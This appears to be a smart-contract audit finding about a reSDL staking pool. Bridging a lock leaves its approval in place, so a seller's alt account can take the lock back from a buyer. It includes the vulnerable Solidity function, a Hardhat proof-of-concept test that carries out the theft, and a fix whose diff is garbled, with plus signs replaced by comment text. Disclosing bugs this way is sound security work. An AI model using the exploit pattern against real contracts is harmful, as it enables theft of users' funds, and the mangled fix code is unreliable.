A user can steal an already transfered and bridged reSDL lock because of approval
The reSDL token approval is not deleted when the lock is bridged to an other chain\\nWhen a reSDL token is bridged to an other chain, the `handleOutgoingRESDL()` function is called to make the state changes into the `sdlPool` contract. The function executes the following:\\n```\\n    function handleOutgoingRESDL(\\n        address _sender,\\n        uint256 _lockId,\\n        address _sdlReceiver\\n    )\\n        external\\n        onlyCCIPController\\n        onlyLockOwner(_lockId, _sender)\\n        updateRewards(_sender)\\n        updateRewards(ccipController)\\n        returns (Lock memory)\\n    {\\n        Lock memory lock = locks[_lockId];\\n\\n        delete locks[_lockId].amount;\\n        delete lockOwners[_lockId];\\n        balances[_sender] -= 1;\\n\\n        uint256 totalAmount = lock.amount + lock.boostAmount;\\n        effectiveBalances[_sender] -= totalAmount;\\n        effectiveBalances[ccipController] += totalAmount;\\n\\n        sdlToken.safeTransfer(_sdlReceiver, lock.amount);\\n\\n        emit OutgoingRESDL(_sender, _lockId);\\n\\n        return lock;\\n    }\\n```\\n\\nAs we can see, it deletes the lock.amount of the lockId, removes the ownership of the lock and decrements the lock balance of the account that is bridging the lock. The approval that the user had before bridging the reSDL lock will remain there and he can get benefited from it by stealing the NFT. Consider the following situation: A user knows that there is a victim that is willing to pay the underlying value for a reSDL lock ownership transfer. What the malicious user can do is set approval to move his lockId in all supported chains to an alt address that he owns. Then, he trades the underlying value for the reSDL ownership and the lock is transfered to the victim/buyer. If the buyer keeps the lock in this chain nothing happens, but if he bridges any of the other supported chains, the malicious user can use the approval of his alt account to steal the reSDL lock.\\nIt is written inside `resdl-token-bridge.test.ts` because it uses its setup\\n```\\n  it('PoC steal reSDL', async () => {\\n    let lockId = 2\\n\\n    let thief = accounts[0]\\n    let victim = accounts[1]\\n\\n    let thiefAccount2 = accounts[2]\\n\\n    let ts = (await ethers.provider.getBlock(await ethers.provider.getBlockNumber())).timestamp\\n\\n    // Thief approves an alt account that he controls to move his lock in the original chain\\n    await sdlPool.approve(thiefAccount2, lockId)\\n\\n    assert.equal(await sdlPool.getApproved(2), thiefAccount2);\\n\\n    // Thief bridges the lock to an other chain but the approval is not deleted\\n    await bridge.transferRESDL(77, victim, lockId, true, toEther(10), { value: toEther(10) })\\n    let lastRequestMsg = await onRamp.getLastRequestMessage()\\n    assert.deepEqual(\\n      ethers.utils.defaultAbiCoder\\n        .decode(\\n          ['address', 'uint256', 'uint256', 'uint256', 'uint64', 'uint64', 'uint64'],\\n          lastRequestMsg[1]\\n        )\\n        .map((d, i) => {\\n          if (i == 0) return d\\n          if (i > 1 && i < 4) return fromEther(d)\\n          return d.toNumber()\\n        }),\\n      [victim, lockId, 1000, 1000, ts, 365 * 86400, 0]\\n    )\\n    assert.deepEqual(\\n      lastRequestMsg[2].map((d) => [d.token, fromEther(d.amount)]),\\n      [[sdlToken.address, 1000]]\\n    )\\n    assert.equal(lastRequestMsg[3], wrappedNative.address)\\n    assert.equal(lastRequestMsg[4], '0x11')\\n    await expect(sdlPool.ownerOf(lockId)).to.be.revertedWith('InvalidLockId()')\\n\\n    // The user that received the lock from bridging on the other chain decides to bridge the lock id\\n    // back to the original chain\\n    await offRamp\\n      .connect(signers[6])\\n      .executeSingleMessage(\\n        ethers.utils.formatBytes32String('messageId'),\\n        77,\\n        ethers.utils.defaultAbiCoder.encode(\\n          ['address', 'uint256', 'uint256', 'uint256', 'uint64', 'uint64', 'uint64'],\\n          [victim, lockId, 1000, 1000, ts, 365 * 86400, 0]\\n        ),\\n        sdlPoolCCIPController.address,\\n        [{ token: sdlToken.address, amount: toEther(25) }]\\n      )\\n\\n\\n    // Now the victim owns the reSDL lock on the original chain\\n    assert.equal(await sdlPool.ownerOf(2), victim)\\n\\n    // However, this lockId has the approval that originally the thief set to his alt account and victim do not know that\\n    assert.equal(await sdlPool.getApproved(2), thiefAccount2);\\n\\n    // Thief transfers back to his main account the reSDL via his alt account\\n    await sdlPool\\n      .connect(signers[2])\\n      .transferFrom(victim, thief, lockId)\\n\\n    // Thief is now the owner of the reSDL\\n    assert.equal(await sdlPool.ownerOf(2), thief)\\n  })\\n```\\n
When bridging a lock between chains, the lock approval should be deleted.\\n```\\n     function handleOutgoingRESDL(\\n         address _sender,\\n         uint256 _lockId,\\n         address _sdlReceiver\\n     )\\n         external\\n         onlyCCIPController\\n         onlyLockOwner(_lockId, _sender)\\n         updateRewards(_sender)\\n         updateRewards(ccipController)\\n         returns (Lock memory)\\n     {\\n         Lock memory lock = locks[_lockId];\\n \\n         delete locks[_lockId].amount;\\n         delete lockOwners[_lockId];\\n         balances[_sender] -= 1;\\n// Add the line below\\n        delete tokenApprovals[_lockId];\\n\\n         uint256 totalAmount = lock.amount // Add the line below\\n lock.boostAmount;\\n         effectiveBalances[_sender] -= totalAmount;\\n         effectiveBalances[ccipController] // Add the line below\\n= totalAmount;\\n\\n         sdlToken.safeTransfer(_sdlReceiver, lock.amount);\\n\\n         emit OutgoingRESDL(_sender, _lockId);\\n\\n         return lock;\\n     }\\n```\\n
High, possibility to steal funds
```\\n    function handleOutgoingRESDL(\\n        address _sender,\\n        uint256 _lockId,\\n        address _sdlReceiver\\n    )\\n        external\\n        onlyCCIPController\\n        onlyLockOwner(_lockId, _sender)\\n        updateRewards(_sender)\\n        updateRewards(ccipController)\\n        returns (Lock memory)\\n    {\\n        Lock memory lock = locks[_lockId];\\n\\n        delete locks[_lockId].amount;\\n        delete lockOwners[_lockId];\\n        balances[_sender] -= 1;\\n\\n        uint256 totalAmount = lock.amount + lock.boostAmount;\\n        effectiveBalances[_sender] -= totalAmount;\\n        effectiveBalances[ccipController] += totalAmount;\\n\\n        sdlToken.safeTransfer(_sdlReceiver, lock.amount);\\n\\n        emit OutgoingRESDL(_sender, _lockId);\\n\\n        return lock;\\n    }\\n```\\n